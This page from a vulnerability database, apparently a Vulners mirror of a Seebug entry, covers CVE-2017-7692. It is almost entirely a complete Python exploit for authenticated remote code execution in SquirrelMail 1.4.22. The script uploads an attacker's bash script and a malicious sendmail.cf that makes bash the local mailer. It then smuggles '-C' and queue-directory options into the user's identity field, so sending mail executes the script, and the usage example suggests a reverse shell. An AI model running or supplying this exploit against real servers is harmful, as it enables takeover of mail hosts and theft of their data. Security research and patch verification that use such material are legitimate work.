Lucene search
K

Squirrelmail 1.4.22 Remote Code Execution (CVE-2017-7692)

🗓️ 22 Apr 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 268 Views

Squirrelmail 1.4.22 Remote Code Execution vulnerability due to improper input sanitizatio

Related
Code

                                                The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.

BOF
#!/usr/bin/env python
# -*- coding: utf-8 -*- 

"""

SquirrelMail 1.4.22 Remote Code Execution (authenticated) 
Exploit code for CVE-2017-7692
filippo.cavallarin () wearesegment com

"""

from __future__ import unicode_literals
import sys
import os
import re
import requests

reload(sys)
sys.setdefaultencoding('utf8')


SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
COMPOSE = "/src/compose.php"
INFOS = "/src/options.php?optpage=personal"
SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
# must be enclosed in <> otherwise spaces will be removed ..
SENDER = "<px () xxxx com -OQueueDirectory=/tmp  -C %s%s>"


SESSID = ""
BASEURL = ""


def attach(attachment):
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "attach": "add"
  }

  try:
    files = {'attachfile': open(attachment,'rb')}
    resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
    fname = re.search(r'att_local_name&quot;;s:[0-9]+:&quot;([a-zA-Z0-9]+)&quot;', resp.text)
    if not fname:
      print "\nError: unable to upload file %s" % attachment
    return fname.group(1)

  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def send():
  url = "%s%s" % (BASEURL, COMPOSE)
  token = get_csrf_token(url)

  values = {
    "smtoken": token,
    "send_to": "root",
    "send": "Send"
  }

  try:
    resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def set_identity(sender):
  url = "%s%s" % (BASEURL, INFOS)
  token = get_csrf_token(url)
  values = {
    "smtoken": token,
    "optpage": "personal",
    "optmode": "submit",
    "new_email_address": sender,
    "submit_personal": "Submit"
  }

  try:
    requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)


def get_csrf_token(url):
  try:
    body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
    inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
    token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
    if token:
      return token.group(1)
  except Exception as e:
    pass

  print "\nUnable to get CSRF token"
  sys.exit(1)

def outw(s):
  sys.stdout.write(s)
  sys.stdout.flush()

def main(argv):
  global BASEURL
  global SESSID

  if len(argv) != 4:
    print (
        "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin () wearesegment com\n"
        "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
        "Usage:\n"
        "  %s <url> <session_id> <script>\n"
        "      url: the url of squirrelmail\n"
        "      session_id: the value of SQMSESSID cookie\n"
        "      script: the path to the bash script to be executed on the target\n"
        "Example:\n"
        "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
      ) % (argv[0], argv[0])

    sys.exit(1)

  BASEURL = argv[1]
  SESSID = argv[2]
  script = argv[3]

  outw("Uploading script ... ")
  script_fname = attach(script)
  print "ok"


  outw("Generating sendmail.cf ... ")
  try:
    script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
    with open(SENDMAILCF, 'w') as f:
      f.write(SENDMAILCF_CONTENT % script_path)
  except Exception as e:
    print "\nError: %s" % e
    sys.exit(1)
  print "ok"

  outw("Uploading sendmail.cf ... ")
  smc_fname = attach(SENDMAILCF)
  os.remove(SENDMAILCF)
  print "ok"

  outw("Updating user options ... ")
  sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
  set_identity(sender)
  print "ok"

  outw("Checking identity field ... ")
  icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
  if not smc_fname in icheck:
    print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
    sys.exit(1)
  print "ok"

  outw("Executing script ... ")
  send()
  print "ok\n"
  sys.exit(0)

SENDMAILCF_CONTENT = """
O 
DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
Kdequote dequote
Scanonify=3
R$@     $@ <@>
R$*     $: $1 <@>     mark addresses
R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
R@ $* <@>   $: @ $1       unmark @host:...
R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
R$* :: $* <@>   $: $1 :: $2     unmark node::addr
R:include: $* <@> $: :include: $1     unmark :include:...
R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
R$* : $* <@>    $: $2       strip colon if marked
R$* <@>     $: $1       unmark
R$* ;        $1       strip trailing semi
R$* < $+ :; > $*  $@ $2 :; <@>      catch <list:;>
R$* < $* ; >       $1 < $2 >      bogus bracketed semi
R$@     $@ :; <@>
R$*     $: < $1 >     housekeeping <>
R$+ < $* >       < $2 >     strip excess on left
R< $* > $+       < $1 >     strip excess on right
R<>     $@ < @ >      MAIL FROM:<> case
R< $+ >     $: $1       remove housekeeping <>
R@ $+ , $+    $2
R@ [ $* ] : $+    $2
R@ $+ : $+    $2
R $+ : $* ; @ $+  $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
R $+ : $* ;   $@ $1 : $2;     list syntax
R$+ @ $+    $: $1 < @ $2 >      focus on domain
R$+ < $+ @ $+ >   $1 $2 < @ $3 >      move gaze right
R$+ < @ $+ >    $@ $>Canonify2 $1 < @ $2 >  already canonical
R$- ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
R$+ . $- ! $+   $@ $>Canonify2 $3 < @ $1 . $2 >   domain uucps
R$+ ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
R$* %% $*   $1 @ $2       First make them all @s.
R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
R$* @ $*    $@ $>Canonify2 $1 < @ $2 >  Insert < > and finish
R$*     $@ $>Canonify2 $1
SCanonify2=96
R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
R$* < @ [ $+ ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
R$* < @@ $=w > $*   $: $1 < @ $j . > $3   self-literal
R$* < @@ $+ > $*    $@ $1 < @ $2 > $3   canon IP addr
Sfinal=4
R$+ :; <@>    $@ $1 :       handle <list:;>
R$* <@>     $@        handle <> and list:;
R$* < @ $+ . > $* $1 < @ $2 > $3
R$* < @ *LOCAL* > $*  $1 < @ $j > $2
R$* < $+ > $*   $1 $2 $3      defocus
R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3    <route-addr> canonical
R@ $*     $@ @ $1       ... and exit
R$+ @ $- . UUCP   $2!$1       u () h UUCP => h!u
R$+ %% $=w @ $=w    $1 @ $2       u%%host@host => u@host
SRecurse=97
R$*     $: $>canonify $1
R$*     $@ $>parse $1
Sparse=0
R$*     $: $>Parse0 $1    initial parsing
R<@>      $#local $: <@>    special case error msgs
R$*     $: $>ParseLocal $1  handle local hacks
R$*     $: $>Parse1 $1    final parsing
SParse0
R<@>      $@ <@>      special case error msgs
R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
R@ <@ $* >    < @ $1 >    catch "@@host" bogosity
R<@ $+>     $#error $@ 5.1.3 $: "553 User address required"
R$+ <@>     $#error $@ 5.1.3 $: "553 Hostname required"
R$*     $: <> $1
R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
R<> $* < @ [ $+ ] > $*    $1 < @ [ $2 ] > $3
R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
R<> $*      $1
R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
R$* < @ > $*    $@ $>Parse0 $>canonify $1 user@ => user
R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
R$- < @ $=w . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@here
R< @ $+ >   $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ $=w . >  $@ $>Parse0 $>canonify $1 $2 $3 ...@here -> ...
R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
R$* $=O $* < @ *LOCAL* >
      $@ $>Parse0 $>canonify $1 $2 $3 ...@*LOCAL* -> ...
R$* < @ *LOCAL* > $: $1
SParse1
R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3  numeric internet spec
R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to path
R$* < @ [ $+ ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
R$* < @ [ $+ ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smarthost with mailer
R$* < @ [ $+ ] : $+ > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
R$=L < @ $=w . >  $#local $: @ $1     special local names
R$+ < @ $=w . >   $#local $: $1     regular local name
R$* < @ $* > $*   $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 [email protected]
R$=L      $#local $: @ $1   special local names
R$+     $#local $: $1     regular local names
SLocal_localaddr
Slocaladdr=5
R$+     $: $1 $| $>"Local_localaddr" $1
R$+ $| $#ok   $@ $1     no change
R$+ $| $#$*   $#$2
R$+ $| $*   $: $1
R$+ + *     $#local $@ $&h $: $1
R$+ + $*    $#local $@ + $2 $: $1 + *
R$+     $: <> $1
R< > $+     $: < > < $1 <> $&h >    nope, restore +detail
R< > < $+ <> + $* > $: < > < $1 + $2 >    check whether +detail
R< > < $+ <> $* > $: < > < $1 >     else discard
R< > < $+ + $* > $*    < > < $1 > + $2 $3   find the user part
R< > < $+ > + $*  $#local $@ $2 $: @ $1   strip the extra +
R< > < $+ >   $@ $1       no +detail
R$+     $: $1 <> $&h      add +detail back in
R$+ <> + $*   $: $1 + $2      check whether +detail
R$+ <> $*   $: $1       else discard
R< local : $* > $*  $: $>MailerToTriple < local : $1 > $2 no host extension
R< error : $* > $*  $: $>MailerToTriple < error : $1 > $2 no host extension
R< $~[ : $+ > $+  $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
R< $+ > $+    $@ $>MailerToTriple < $1 > $2 < @ $1 >
SParseLocal=98
SEnvFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqEnv $1   do masquerading
SEnvToL
R$+ < @ $* >    $: $1     strip host part
R$+ + $*    $: < $&{addr_type} > $1 + $2  mark with addr type
R<e s> $+ + $*    $: $1     remove +detail for sender
R< $* > $+    $: $2     else remove mark
SHdrFromL
R<@>      $n      errors to mailer-daemon
R@ <@ $*>   $n      temporarily bypass Sun bogosity
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do masquerading
SHdrToL
R$+     $: $>AddDomain $1 add local domain if needed
R$*     $: $>MasqHdr $1   do all-masquerading
SAddDomain
R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
R$+     $@ $1 < @ *LOCAL* > add local qualification
Mlocal,   P=/bin/bash, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
    T=DNS/RFC822/X-Unix,
    A=X %s
Mprog,    P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
    T=X-Unix/X-Unix/X-Unix,
    A=sh -c $u

"""

if __name__ == '__main__':
  main(sys.argv)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation